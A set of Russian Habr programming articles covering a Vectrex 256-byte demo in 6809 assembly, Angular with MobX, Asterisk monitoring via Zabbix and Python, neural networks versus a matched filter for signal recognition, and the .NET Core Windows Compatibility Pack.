Из-за зависимости от background-attachment: fixed трансформации CSS на шейдере могут вызвать странные побочные эффекты. В Chrome это в целом работает, но, в зависимости от трансформаций, градиенты могут показаться смещёнными. Firefox же просто игнорирует фиксированное расположение — и ваши градиенты полностью статичны. Я уверен, что есть способы обойти это, но они, наверное, будут искушать ваш дух воспользоваться JavaScript.
Конечно, мы не можем добиться уровня GLSL, но для эффектов попроще этот подход — отличная альтернатива добавлению зависимостей JS в проект. Сколь бы прекрасными ни были эффекты, я думаю, сегодня это в значительной степени случайность: не нужно этого делать только потому, что вы можете.
Пока фильтры и режимы смешивания в CSS не станут быстрее, или же пока браузеры не свяжут фильтры и GLSL напрямую, лучше всего быть искусными и сдержанными.
А мы поможем прокачать ваши навыки или с самого начала освоить профессию, актуальную в любое время:
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_120722&utm_term=conc)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_120722&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_120722&utm_term=conc).
 | https://habr.com/ru/post/675862/ | null | ru | null |
# 256 байт intro «Springs» для компьютера Vectrex
Решение написать что-нибудь для [Chaos Constructions](http://chaosconstructions.ru) пришло, как водится, довольно внезапно (в первую очередь потому, что до последнего момента не было очевидно, состоится он в этом году или нет). Так что, времени написать что-то большее, чем работу для конкурса Tiny intro (256 байт для любой платформы) уже не оставалось. Это же определило и выбор платформы, так как под Vectrex я уже писал пару лет назад и проще было вспомнить ассемблер 6809, чем изучать следующий.
Чем (среди прочего) мне нравится демосцена, так это тем что, приступая к работе, понятия не имеешь, что в итоге получишь. Среди нескольких идей, что именно написать, конкретно вот этой не было точно. Две были отброшены потому, что изображение на эмуляторе и реальном Vectrex'e слишком уж отличалось — после каждой сборки заливать всё это в эмулятор ПЗУ и перетыкать его в Vectrex чтобы посмотреть, что получилось — нереально.
Третью идею я было начал реализовывать, но уже в процессе увидел, что сделать такое красиво в 256 байт — слишком сложно. Но, в процессе что-то там переглючило и напомнило пружину. Вот эту идею я, в итоге, и развил:
Не буду здесь описывать как программировать под Vectrex, поскольку уже подробно делал это в [своей статье](https://habrahabr.ru/post/313218/). Упомяну только, что принцип вывода изображения у этого компьютера радикально отличается от большинства остальных — он векторный. Причём, с некоторыми оговорками можно отображать не только прямые линии, но и кривые (чем, собственно, я и воспользовался).
Важным признаком хорошей демо является, на мой взгляд, использование преимуществ именно той платформы, под которую пишется работа. Сильные стороны есть почти у всех компьютеров — на одних это аппаратный скроллинг, на других поддержка большого количества спрайтов, на третьих — мощный процессор. В данном случае оказалось возможным нарисовать «витки» пружины не при помощи вычислений координат каждой точки кривой, как это пришлось бы делать на других компьютерах, а аппаратным способом: при нарастающем напряжении на ЦАП канала Y (вертикаль), через короткие равные промежутки времени менять напряжение на ЦАП канала X (горизонталь), в результате чего получалась кривая, похожая на синусоиду. Причём, для каждой последующей «пружины» амплитуда отличалась и, соответственно, они имеют разную ширину («диаметр»).
Очевидно, пружины должны сжиматься, иначе какие это пружины? «Сжатие» обеспечивается изменением напряжения по вертикали. Говоря точнее, изменением разницы между напряжением в точке, где луч начинает отрисовку пружины (внизу) и точкой, где пружина заканчивается (вверху).
Однако, простым увеличением и уменьшением этой разницы здесь не отделаешься — для пружин в такой ситуации естественна разная скорость сжатия взависимости от текущей растянутости. И вот тут уже без вычислений не обойтись… Понятно, что процессор 6809 команды для вычисления синусов не имеет, а табличка синусов для 256 байтной интро — слишком большая роскошь. К счастью, покопавшись в исходниках ПЗУ Vectrex, я обнаружил там по адресу $fc6d табличку, отлично подходящую для такого случая:
```
RTRIGS FCB 0,25,50,74 SINE TABLE- 16 ANGLES/QUADRANT
FCB 98,121,142,162 VALUES REPRESENT SINE*256
FCB 181,198,213,226
FCB 237,245,251,255
FCB 255,255,251,245
FCB 237,226,213,198
FCB 181,162,142,121
FCB 98,74,50,25
```
Единственное, что нужно было сделать — привести значения к нужному масштабу, разделив на 4 двумя сдвигами вправо:
```
lsra
lsra
```
В результате, пружина сжимается довольно естественно, а заодно и поднимается/опускается по тому же закону — с ускорением и замедлением.
Теперь следующая проблема — кому интересна единственная пружина, прыгающая на одном месте? Так ни компо не выиграешь, ни лайков не наберёшь — пружины должны прыгать одна за другой.
С горизонтальным перемещением, допустим, всё просто. Достаточно равномерно менять напряжение в канале X ЦАП и всё произойдёт само — уехав за экран, где произойдёт переполнение (за -127), пружина автоматически появится с другой стороны экрана (+127). Сложнее дело обстоит с синхронностью прыжков — в живой природе пружины никогда не идут в ногу, у них всегда есть некоторая рассинхронизация в прыжках.
Поскольку состояние пружины в любой момент времени полностью определяется выбранным из таблицы синусов значением, логично хранить это значение отдельно для каждой из пружин. Выбираем адрес в ОЗУ, где будем это дело хранить. Но, предварительно, нужно эту табличку проинициализировать начальными значениями. И не любыми, чтобы в шествии был некоторый порядок. Резервируем несколько байт в ПЗУ, а потом копируем в ОЗУ:
```
springs equ $C890 ; index in sine table for each spring
...
ldu #springstmp
ldx #springs
lda #(3*3)
jsr Move_Mem_a ; A - byte count, U - source, X - destination
...
springstmp:
db 15, 20, 25
```
Как легко видеть, всю эту радость очень легко полностью выкинуть, просто найдя в BIOS адрес, где идут три подходящих байта подряд. Просто изначально я не думал, что обойдусь тремя пружинами, а потом убирать это уже не было времени, да и смысла (всё и так влезло в 256 байт).
Табличка синусов небольшая, поэтому если на каждую итерацию стандартного цикла Vectrex «по кадрам» брать следующее значение, пружины будут скакать очень быстро. Поэтому, берём из таблички следующее значение не каждую итерацию (но рисуем-то конечно в каждую, иначе будет мерцать):
```
ldb ,x ; загружаем в b индекс в таблице синусов для очередной кривой (по адресу, находящемуся в регистре x)
...
lda frames_c
bita #$03
bne skipinc ; пропуск
incb ; следующий индекс в таблице синусов
skipinc:
stb ,x+ ; сохраняем индекс из b обратно, откуда взяли. И заодно увеличиваем адрес в x на единицу
```
Ещё для красоты добавим на кончик пружины яркую светящуюся точку — перед тем, как выключить луч, слегка задерживаем его там:
```
ldb #$40 ; end dot brightness (20-30 is ok for release)
repeat_dot:
decb
bne repeat_dot
clr
```
Внизу рисуем линию «земли» (к слову, из-за того, что рисование прямой происходит через BIOS, приходится задавать максимальный масштаб. В случае с кривой масштаб задавать не надо, т.к. мы её рисуем полностью «вручную»):
```
lda #$ff ; максимальный масштаб
sta
```
Много места также отнимает надпись внизу. Так что, я решил ограничиться сокращённым названием и указанием размера. Впрочем, была и другая причина. Дело в том, что из-за, во многом, аналоговой природы схем Vectrex'a, его конкретным экземплярам присущи всякие искажения. Конкретно в моём это выражается в двух вещах:
1. При выводе строк процедурами BIOS (там с помощью пунктирных векторов имитируется растровые символы) при увеличении длины строки она начинает наклоняться, так что где-то после 10 символа уже трудно что-то разобрать.
2. С уменьшением высоты, пружины начинает перекашивать влево. Это не «так задумано» — это проблема конкретного экземпляра Vectrex'a. Я попросил владельца двух других машин заснять, как выглядит intro у него. Легко заметить, что разница существенная:
[](https://habrastorage.org/web/119/28f/777/11928f7772044cd9bde7b565dac748b5.jpg)
Хотя звук в 256 байтных intro встречается довольно редко, если такая возможность есть — грех ей не воспользоваться.
Чем хорош BIOS Vectrex — в нём припасена не только простая подпрограмма для проигрывания примитивных мелодий, но и несколько примеров самих мелодий (по десятку-другому байт на каждую). Для большой демо это конечно нельзя использовать, но для 256 байт intro — отличная «вишенка на торте»:
```
ldu #$fe38
jsr Init_Music_chk ; Initialize the music
...
; внутри цикла, регулярно:
jsr Do_Sound
```
Надо сказать, что в итоге код получился далёким от совершенства, за что мне немного стыдно учитывая, что ассемблер 6809 очень мощный и приятный, так что не получится сослаться на него, как на причину (как это можно было бы сделать в случае, скажем, с моей предыдущей работой под Videopac, у которого был весьма неприятный для программирования Intel 8048). Полагаю, что имея опыт в программировании под 6809, можно было бы достаточно легко уменьшить нынешние 255 байт до 180-200.
Большое количество регистров, в том числе 16-разрядных, очень экономит нервы и байты. При этом, однако, любопытно, что увеличение/умненьшение регистра на единицу есть только для a,b и d. А вот для индексных (и u) подрузамевается, что при нормальном программированиии они увеличиваются на единицу в рамках команд типа lda ,u+. Даже add не работает с этими регистрами. Впрочем, есть выход. Можно увеличивать и уменьшать их на любое количество байт командами вида leau N,u
* [Исходник](https://github.com/petersobolev/springs)
* [Бинарник](http://enlight.ru/files/springs.zip)
* [На pouet.net](http://www.pouet.net/prod.php?which=71620)
* [Другие мои работы под разные древние платформы](http://enlight.ru/roi/) | https://habr.com/ru/post/336784/ | null | ru | null |
# Управляем состоянием в Angular при помощи Mobx
Каждый разработчик знает, что управление состоянием довольно сложная штука. Постоянно отслеживать, что где и когда поменялось, это просто кошмар, особенно в больших приложениях.
В мире Angular есть несколько решений, которые могут сделать управление состоянием менее сложным, болезненным и хрупким.
Два наиболее популярных решения это `ngrx/store`, вдохновленной по большей части Redux, и [Observable сервисы данных](https://blog.angular-university.io/how-to-build-angular2-apps-using-rxjs-observable-data-services-pitfalls-to-avoid/).
Лично мне очень нравится Redux, и он стоит каждой строчки бойлерплейт кода. Но, к сожалению, некоторе со мной могут не согласиться или Redux не особо применим в их приложениях.
Поэтому я решил поведать вам, как может пригодится Mobx, в решении проблемы управления состоянием. Идея заключается в том, чтобы объединить два мира, Redux и Mobx.
Итак, давайте возьмем иммутабельность Redux, мощь Rx+ngrx, и возможности управления состоянием Mobx. Эта комбинация позволит на использовать асинхронные пайпы в сочетании с `OnPush` стратегией, чтобы достичь наибольшей производительности.
Перед тем как мы начнем, подразумевается, что у вас есть достаточные знания по Mobx и Angular.
Для простоты мы будем создавать традиционное туду приложение. Ну что ж, начнем?
Сторы
-----
Я хочу придерживаться [принципа единой ответственности](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%B5%D0%B4%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8), поэтому я создаю сторы для фильтра и тудушек (вы можете объединить их в один, если нужно).
Давайте создадим стор фильтра.
```
import { Injectable } from '@angular/core';
import { action, observable} from 'mobx';
export type TodosFilter = 'SHOW_ALL' | 'SHOW_COMPLETED' | 'SHOW_ACTIVE';
@Injectable()
export class TodosFilterStore {
@observable filter = 'SHOW_ALL';
@action setFilter(filter: TodosFilter) {
this.filter = filter;
}
}
```
Добавим стор доя тудушек.
```
export class Todo {
completed = false;
title : string;
constructor( { title, completed = false } ) {
this.completed = completed;
this.title = title;
}
}
@Injectable()
export class TodosStore {
@observable todos: Todo[] = [new Todo({ title: 'Learn Mobx' })];
constructor( private _todosFilter: TodosFilterStore ) {}
@action addTodo( { title } : Partial ) {
this.todos = [...this.todos, new Todo({ title })]
}
@computed get filteredTodos() {
switch( this.\_todosFilter.filter ) {
case 'SHOW\_ALL':
return this.todos;
case 'SHOW\_COMPLETED':
return this.todos.filter(t => t.completed);
case 'SHOW\_ACTIVE':
return this.todos.filter(t => !t.completed);
}
}
}
```
Если вам знаком Mobx, код выше вам покажется довольно простым.
На заметку, хорошая практика всегда использовать `@action` декоратор. Он помогает придерживаться концепции "Не меняй стейт напрямую", известной нам еще с Redux. В доках Mobx сказано:
> В strict режиме не допускается менять стейт за пределами экшена.
RxJS [Мостик](https://github.com/NetanelBasal/ngx-mobx)
-------------------------------------------------------
Одна из крутых штук RxJS это возможность конвертировать любой источник данных в RxJS Observable. В нашем случае, мы будем использовать `computed` функцию из Mobx, чтобы слушать изменение стейта и отдавать нашим подписчикам в Observable.
```
import { Observable } from 'rxjs/Observable';
import { computed } from 'mobx';
export function fromMobx( expression: () => T ) : Observable {
return new Observable(observer => {
const computedValue = computed(expression);
const disposer = computedValue.observe(changes => {
observer.next(changes.newValue);
}, true);
return () => {
disposer && disposer();
}
});
}
```
В Rx `computed` что то вроде `BehaviorSubject` вперемешку с `distinctUntilChanged()`
Каждый раз, когда происходит изменение (изменение по ссылке) в выражении, выполняется коллбэк, который передает новое значение нашим подписчикам. Теперь у нас есть мостик между Mobx и Rx.
Компонент тудушки
-----------------
Давайте создадим туду компонент, который принимает `Input()` и эмитит событие когда выбран.
Обратите внимание, что здесь мы используем **`onPush`** стратегию для определения изменений.
```
@Component({
selector: 'app-todo',
template: `
{{todo.title}}
`,
changeDetection: ChangeDetectionStrategy.OnPush
})
export class TodoComponent {
@Input() todo: Todo;
@Output() complete = new EventEmitter();
}
```
Компонент списка тудушек
------------------------
Давайте создадим компонент списка тудушек, который принимает `Input()` и эмитит событие когда что то выбрано.
Обратите внимание, что здесь мы используем **`onPush`** стратегию для определения изменений.
```
@Component({
selector: 'app-todos',
template: `
*
`,
changeDetection: ChangeDetectionStrategy.OnPush
})
export class TodosComponent {
@Input() todos: Todo[] = [];
@Output() complete = new EventEmitter();
}
```
Компонент страницы тудушек
--------------------------
```
@Component({
selector: 'app-todos-page',
template: `
Add todo
`
})
export class TodosPageComponent {
todos : Observable;
constructor( private \_todosStore: TodosStore ) {
}
ngOnInit() {
this.todos = fromMobx(() => this.\_todosStore.filteredTodos);
}
addTodo() {
this.\_todosStore.addTodo({ title: `Todo ${makeid()}` });
}
}
```
Если вы работали с `ngrx/store`, вы будете чувствовать себя как дома. Свойство `todos` это Rx Observable и будет срабатывать, только когда произойдет изменение `filteredTodos` свойства в нашем сторе.
Свойство `filteredTodos` это `computed` значение, которое тригерит изменение если произойдет **чистое** изменение в `filter` или в `todos` свойстве нашего стора.
Ну и конечно же мы получаем все плюшки Rx такие как `combineLatest()`, `take()` и т.д, так как теперь это Rx поток.
Это все. Вот вам [готовый пример](https://stackblitz.com/edit/angular-mobx-netanel-xcvpmt).
Думаю, вам понравился этот небольшой концепт, надеюсь, вам было интересно.
*заметил очепятку, в личку* | https://habr.com/ru/post/341564/ | null | ru | null |
# Универсальный способ мониторинга Asterisk с помощью Zabbix
Добрый день, хабровчане.
В этом посте я хотел бы рассказать о том, как мы осуществляем мониторинг серверов Asterisk. Безусловно, посты по использованию Zabbix для мониторинга Asterisk уже есть на хабре, в них мы почерпнули множество интересной информации и добавили еще ряд необходимых, на наш взгляд, вещей.
Что из этого вышло — можно посмотреть под катом.
Телефония является критичным сервисом в работе компании. Важнейшей задачей после развертывания и настройки телефонной инфраструктуры является ее мониторинг. Своевременное оповещение ответственных за функционирование телефонных сети лиц сможет сэкономить компании огромное количество времени и денег и минимизировать время простоя телефонной станции.
Изначально для мониторинга сервера Asterisk нужно выбрать инструмент, которым будет производиться мониторинг. Безусловно в сети существует огромное количество самописных скриптов, которые позволяют осуществлять поверхностный мониторинг сервера, но зачастую они малофункциональны, требуют глубоких знаний linux и естественно не имеют GUI.
Для мониторинга состояния серверов телефонии нами была выбрана система мониторинга Zabbix. Zabbix — довольно мощный инструмент мониторинга, который имеет большое количество шаблонов для мониторинга узлов сети и процессов и позволяет встраивать пользовательские. Для нормального функционирования сервера Asterisk мы выделили следующие компоненты, которые нужно мониторить и написали под них скрипты на python, которые будем портировать в Zabbix:
* Использование CPU, RAM, HDD (графики, отчеты и уведомления)
* Сетевой трафик на каждом интерфейсе
* Мониторинг процесса и памяти для Asterisk
* Анализ процесса и памяти для Mysql
* Мониторинг процесса и памяти для Apache
* Отслеживание процесса fail2ban
* Регистрация и статус SIP провайдеров
* Статус каждого SIP пеера (peer)
* Количество текущих звонков в Asterisk
* Мониторинг очередей
* Отслеживание количества звонков в очереди
* Мониторинг Агентов очереди
При возникновении проблем с одним из вышеназванных параметров, Zabbix отправляет уведомление (варианты оповещения: уведомления на e-mail, jabber, SMS) администратору АТС или любому другому ответственному лицу для принятия мер по оперативному устранению проблемы.
Архитектура Zabbix включает в себя:
* непосредственно сам сервера мониторинга, получающий и обрабатывающий данные, а также запускающий скрипты оповещения
* базы данных
* веб-интерфейса
* Zabbix-агента, установленного на наблюдаемом сервере.
#### Рассмотрим процесс установки zabbix-агента.
Изначально на вашем сервере должны быть удовлетворены следующие зависимости:
* python 2.7+
* python-all-dev
* Zabbix 2.4+
* asterisk 1.8+
* argparse 1.2.1+
* pexpect 3.3+
* posix-ipc 0.9.9+
* wsgiref 0.1.2+
Устанавливаем непосредственно сам Zabbix-агент:
```
aptitude install zabbix-agent
```
Устанавливаем python-модули для исполнения наших пользовательских скриптов Zabbix:
```
aptitude install python-pip python-all-dev
pip install argparse pexpect posix-ipc wsgiref
```
Качаем необходимые нам скрипты (для удобства собрали их на bitbucket):
```
cd /etc/zabbix/
git clone https://pbxware@bitbucket.org/pbxware/asterisk-zabbix-py.git
cd asterisk-zabbix-py
```
Изменяем settings.py в соответствии с нашими настройками Asterisk:
```
vim setting.py
# coding=utf-8
HOST = "localhost" - адрес, на котором работае наш сервер Asterisk
PORT = "5038" - порт AMI из manager.conf
USERNAME = "zabbix" - пользователь AMI
PASSWORD = "zabbixpasswordami" - пароль пользователя AMI
DEFAULT_TIMEOUT = 3
AMI_VERSION = "1.3" - версия AMI, чтобы узнать наберите в терминале telnet localhost 5038
```
Добавляем в конце конфигурационного файла /etc/asterisk/manager.conf следующие строки:
```
[zabbix] ; username from settings.py
secret=zabbixpasswordami ; password from settings.py
deny=0.0.0.0/0.0.0.0
permit=127.0.0.1/255.255.255.0
read = system,call,log,verbose,agent,user,config,dtmf,reporting,cdr,dialplan
write = system,call,agent,user,command,reporting,message
allowmultiplelogin = yes
displayconnects = no
writetimeout = 100
```
После выполнения данных действий перезагружаем Asterisk:
```
service asterisk restart
```
Далее в конфигурационный файл zabbix-агента /etc/zabbix/zabbix\_agentd.conf добавляем в самом низу:
```
Include=/etc/zabbix/asterisk-zabbix-py/userparameter_asterisk.conf
```
и перезагружаем zabbix-агент:
```
/etc/init.d/zabbix-agent restart
```
Имеющиеся команды:
* channel — CoreShowChannels
* member — SIP member
* peer — SIP peers
* queue — SIP queue
* registry — SIP registrations
Параметры:
./run.py -a Discovery.
./run.py -f -p Return the param of the field
./run.py -f -p -r Regular expression for field value. (Return group 1)
./run.py -v Verbose
Примеры:
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py registry -a Return all SIP Registrations
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py peer -a Return all SIP Peers
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py peer -f Address-IP -p 101 Return ip address peer 101
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py peer -f Status -r "(\d+)" -p 101 Return Qualify user 101
#### Описание модуля
Модуль для опроса Asterisk работает через AMI.
settings.py — настройки модуля
userparameter\_asterisk.conf — команды zabbix и параметры, передающейся модулю
zasterisk/ami.py — подключение к AMI используя pexpect
commands/ — папка с командами
Модуль универсальный, и если нет нужного параметра, то его можно легко добавить. К примеру нужно получить контекст sip-пира 101:
```
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py peer -f Context -p 101
```
получим ответ from-users (мое название контекста)
или к примеру узнать используемые кодеки:
```
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py peer -f Codecs -p 101
```
получим ответ (g722|ulaw|alaw|g729)
Для более детального вывода информации к командам можно добавлять опцию "-v"
Если нам нужны дополнительные команды, то по аналогии с файлами из commands добавляем свой, к примеру iax2.py, который будет мониторить IAX-пиры:
```
# coding=utf-8
from zasterisk.base import DiscoveryFieldCommand
class Command(DiscoveryFieldCommand):
help = '''
IAX2 peers
'''
def discovery(self, ami):
def callback(connect, timeout):
events = self.parse_events(connect)
return self.create_discovery(events.get("PeerEntry"), "{#USERNAME}", "ObjectName")
return ami.execute("IAXpeers", {}, callback)
def get_field(self, ami, field_name, param):
return ami.execute("IAXpeers", {"Peer": param}, lambda connect, timeout: self.expect_field(
connect, field_name, timeout))
def count(self, ami):
return 0
```
В результате получим возможность мониторить параметры IAX пиров:
```
sudo -u zabbix /etc/zabbix/asterisk-zabbix-py/run.py iax2 -v -f IPaddress -p demo
```
результат: 216.207.245.47
В заключении хотелось бы отметить, что мы привели только некоторые, важные по нашему мнению, процессы для мониторинга. С помощью данного модуля для Zabbix вы можете мониторить другие необходимые вам процессы. Надеюсь данный топик может вам получать более подробную информацию о «жизнедеятельности» вашего Asterisk и максимально минимизировать время простоя:) | https://habr.com/ru/post/249055/ | null | ru | null |
# Сравнение методов распознавания сигналов. Нейронные сети против согласованного фильтра
Я недавно опубликовал статью "Распознавание радиотехнических сигналов с помощью нейронных сетей"[1]. И там была довольно длинная и интересная дискуссия по поводу возможности использования для этих целей согласованного фильтра(СФ). Разумеется, использовать согласованные фильтры для той задачи, что решалась, проблематично. Но меня заинтересовал другой вопрос, что лучше использовать при незначительных колебаниях параметров сигнала, нейронные сети(НС) или СФ. В качестве генератора сигнала буду использовать обычный мультивибратор. Подавать сигнал буду через звуковую карту, а далее распознавать с помощью метода описанного в [1] и с помощью согласованного фильтра. Далее ПО сравнит результаты и даст ответ какой метод лучше.
**Часть 1. Генератор сигнала**
Для того чтобы сравнение было адекватным, будем распознавать РЕАЛЬНЫЙ сигнал. Для его создания нужен генератор. Так же понадобится генератор шума. Сигнал будем генерировать с помощью мультивибратора. И чтобы "не лезли" ВЧ составляющие на выход надо поставить ФНЧ. Питание осуществляется от USB. Диапазон подаваемого напряжения на аудио карту должен быть в пределах 0.001 — 1.5В. А выход с мультивибратора лежит от 0 до 5В. Для ограничения напряжения будем использовать Г-образный делитель. Ниже представлена принципиальная схема генератора.
Делать с нуля я его не стал, т.к. на втором курсе, в рамках хакатона, собирал предусилитель кардиосигнала для съема кардиоинтервалограммы, который отличается только отсутствием ПОС между двумя каскадами. Поэтому я ограничился добавлением этой связи. Вот что в итоге получилось.
Внешний вид:
Во время работы:
В качестве генератора белого шума, я использовал метод randNorm из своей мат. библиотеки AI.MathMod для языка C#.
**Часть 2. Прием сигнала**
Для приема и записи сигнала я использовал библиотеку NAudio для языка C#. Далее надо создать класс для записи сигнала. В начале подключаем пространства имен.
```
using System;
using System.Collections.Generic;
using NAudio.Wave;
using AI.MathMod.AdditionalFunctions;
using AI.MathMod;
```
Объявляем глобальные переменные:
```
// WaveIn - поток для записи
WaveIn waveIn;
//Блок сигнала
List lf2 = new List();
// частота дискретизации
double fd = 500,
//Время записи
timeRec = 5;
//Записанный сигнал
Vector signal = new Vector();
// отсчеты по амплитуде
public Vector Signal
{
get{return signal;}
}
// Отсчеты по времени
public Vector Time
{
get{return MathFunc.GenerateTheSequence(0,signal.N)/fd;}
}
```
И метод для начала записи (взято [отсюда](http://www.cyberforum.ru/csharp-beginners/thread520949.html)):
```
void Start(){
try
{
waveIn = new WaveIn();
//Дефолтное устройство для записи (если оно имеется)
waveIn.DeviceNumber = 0;
//Прикрепляем к событию DataAvailable обработчик, возникающий при наличии записываемых данных
waveIn.DataAvailable += waveIn_DataAvailable;
//Прикрепляем обработчик завершения записи
waveIn.RecordingStopped += new EventHandler(waveIn\_RecordingStopped);
//Формат wav-файла - принимает параметры - частоту дискретизации и количество каналов(здесь mono)
waveIn.WaveFormat = new WaveFormat(fd,16,1);
//Начало записи
waveIn.StartRecording();
}
catch{}
}
```
Сама запись:
```
//Получение данных из входного буфера
void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (this.InvokeRequired)
{
this.BeginInvoke(new EventHandler(waveIn\_DataAvailable), sender, e);
}
else
{
lf2.Clear();
for (var i = 0; i < e.Buffer.Length; i += 2) {
double sample = BitConverter.ToInt16(e.Buffer, i) / 32768.0;
lf2.Add(sample);
}
signal.Add(lf2.ToArray());
if(signal.N>=(timeRec\*fd)) Stop(); // Завершение записи
}
}
```
**Часть 3. Согласованный фильтр**
Теперь надо создать модель согласованного фильтра. Согласованный фильтр(СФ) обеспчивает максимальное ОСШ(отношение сигнал/шум) в случае если фильтр согласован с полезным сигналом, т.е. АЧХ фильтра совпадает с модулем спектральной плотности сигнала. Состоит СФ из согласованного фильтра для одиночного импульса(СФОИ), линий задержки(ЛЗ) и сумматора. СФОИ для прямоугольного импульса состоит из интегратора, ЛЗ, инвертора и сумматора(для радио импульса с прямоугольной огибающей интегратор заменен на радиоинтегратор, в качестве которого часто выступает полосовой фильтр, в частности колебательный контур или резонансный усилитель с колебательным контуром в коллекторной цепи). Ниже представлена структурная схема. Увеличение ОСШ происходит благодаря тому, что сигнал узкополосный, а помеха широкополосная.[2]
Так же накопитель дает увеличение ОСШ в  раз, где m количество импульсов в пачке. Из-за дороговизны и сложности реализации ЛЗ, в реальных задачах все чаще используют метод с цифровым накоплением. Тогда вероятность ложной тревоги и верного обнаружения задаются следующими соотношениями:
Структура накопителя(все коеф. "а" = 1):
Схематично работа накопителя представлена ниже:
Из-за того что периоды следования импульсов равны как и длительности импульсов, можно использовать вместо набора линий задержек только одну, поставить так называемый рециркулятор с накопителем.[3]
В нашем случае идеальный, без потерь. Структурная схема СФ.
Подробнее о структуре и расчетах СФ можете почитать в [2 стр. 415 — 427] и [3 стр. 563 — 598].
При вероятности нахождения там сигнала >0.6 принимается решение, что сигнал зарегистрирован.
**Часть 4. ПО для сравнения**
Архитектура программы в своей структуре содержит "два флажка",
```
bool flag1 = false;
bool flag2 = false;
```
при старте программы они оба неактивны, имеется метод, который каждый раз, как опрашивается окно проверяет активны ли флажки, если активен первый флажок зачисляется 1 балл согласованным фильтрам. Если же второй, то балл зачисляется нейронной сети. В любом случае все параметры возвращаются в исходное положение.
**Итог**
Было проведено 20 экспериментов, в которых использовался, согласованный фильтр настроенный на исследуемый сигнал, ОСШ = 0.4, результат: 16:4 в пользу СФ. После чего была изменена длительность сигнала на 5%, результат: 2:18 в пользу НС. Из этого можно сделать вывод, что при ИЗВЕСТНЫХ параметрах СФ работает намного лучше чем ИНС, но когда параметры не известны, или могут варьироваться, целесообразней использовать ИНС.
**Литература:**
1. [Распознавание радиотехнических сигналов с помощью нейронных сетей](https://habrahabr.ru/post/318832).
2. Баскаков С.И. Радиотехнические цепи и сигналы. М.: Высшая школа, 2-е издание.
3. Гоноровский И.С. Радиотехнические цепи и сигналы. М.: Дрофа, 5-е издание. 2006 г. | https://habr.com/ru/post/318886/ | null | ru | null |
# ААА! Пришло время переписывать на .NET Coreǃ
Все мы давно хотим перелезть на .NET Core, но постоянно что-то мешает. Например, ничего не поделаешь, когда не хватает важных API. В версии 2.0 процесс упростили благодаря [.NET Standard 2.0](https://blogs.msdn.microsoft.com/dotnet/2017/08/14/announcing-net-standard-2-0/), но это ещё не всё. Ну что ж, Microsoft-боги [вняли нашим молитвам](https://blogs.msdn.microsoft.com/dotnet/2017/11/16/announcing-the-windows-compatibility-pack-for-net-core/#comments) и **завезли 20 000 API**, доступных в виде одного-единственного пакета в NuGet!
Кому это вообще нужно?
======================
Вкратце, это нужно всем. Имхо, сама возможность перетащить свои тонны легаси на .NET Core — уже достаточное оправдание для любых жертв.
Скептикам же надо как бы напомнить, что .NET Core пилится специально для масштабируемых веб-приложений на всех разумных операционных системах (GNU/Linux, macOS и Windows), а более точно выбрать между Core и Framework поможет [специальный документ](https://docs.microsoft.com/dotnet/standard/choosing-core-framework-server).
Как это использовать?
=====================
Во-первых, надо понять, что залежи легаси сами собой не разгребутся. Нечего даже и думать о том, чтобы схватить в охапку миллион классов и перетащить их одной кнопкой.
Предположим, вы накодили приложуху на ASP.NET MVC для Windows-локалхоста, и вас за это не уволили. Настало время перетащить ее на правоверный Linux, работающий на Azure! Лучше есть слона по кусочкам, а именно:
* Перетащить всё на ASP.NET Core (но целевой платформой продолжать держать .NET Framework);
* Переползти на .NET Core (но продолжать юзать Windows);
* Перепрыгнуть на GNU/Linux;
* Запуститься на Azure.
Понятно, что к этому великому плану стоит подходить не как к строительству коммунизма, а разумно. Например, если нужно показать биг боссам запуск на Azure — с этого и стоит начать. Если же думать лень (мне, например, точно лень), наши лидеры написали [специальную методичку по обретению веры в .NET Core](https://docs.microsoft.com/dotnet/core/porting/).
Вкратце, нужно расчехлить NuGet, поставить пакет [Microsoft.Windows.Compatibility](https://www.nuget.org/packages/Microsoft.Windows.Compatibility) и обнаружить, что стала доступна огромная куча разных нужных и ненужных API.
Важно понимать, что этот самый **Microsoft.Windows.Compatibility** всё еще яростно допиливается, так что все офигительные истории нам только предстоят.
Сейчас имеется следующий набор ништяков (таблица получилась огромная; чувак, читающий этот пост с мобилы: прости меня пожалуйста!):
| Компонент | Статус | Windows-Only |
| --- | --- | --- |
| Microsoft.Win32.Registry | Available | Yes |
| Microsoft.Win32.Registry.AccessControl | Available | Yes |
| System.CodeDom | Available | |
| System.ComponentModel.Composition | Coming | |
| System.Configuration.ConfigurationManager | Available | |
| System.Data.DatasetExtensions | Coming | |
| System.Data.Odbc | Coming | |
| System.Data.SqlClient | Available | |
| System.Diagnostics.EventLog | Coming | Yes |
| System.Diagnostics.PerformanceCounter | Coming | Yes |
| System.DirectoryServices | Coming | Yes |
| System.DirectoryServices.AccountManagement | Coming | Yes |
| System.DirectoryServices.Protocols | Coming | |
| System.Drawing | Coming | |
| System.Drawing.Common | Available | |
| System.IO.FileSystem.AccessControl | Available | Yes |
| System.IO.Packaging | Available | |
| System.IO.Pipes.AccessControl | Available | Yes |
| System.IO.Ports | Available | Yes |
| System.Management | Coming | Yes |
| System.Runtime.Caching | Coming | |
| System.Security.AccessControl | Available | Yes |
| System.Security.Cryptography.Cng | Available | Yes |
| System.Security.Cryptography.Pkcs | Available | Yes |
| System.Security.Cryptography.ProtectedData | Available | Yes |
| System.Security.Cryptography.Xml | Available | Yes |
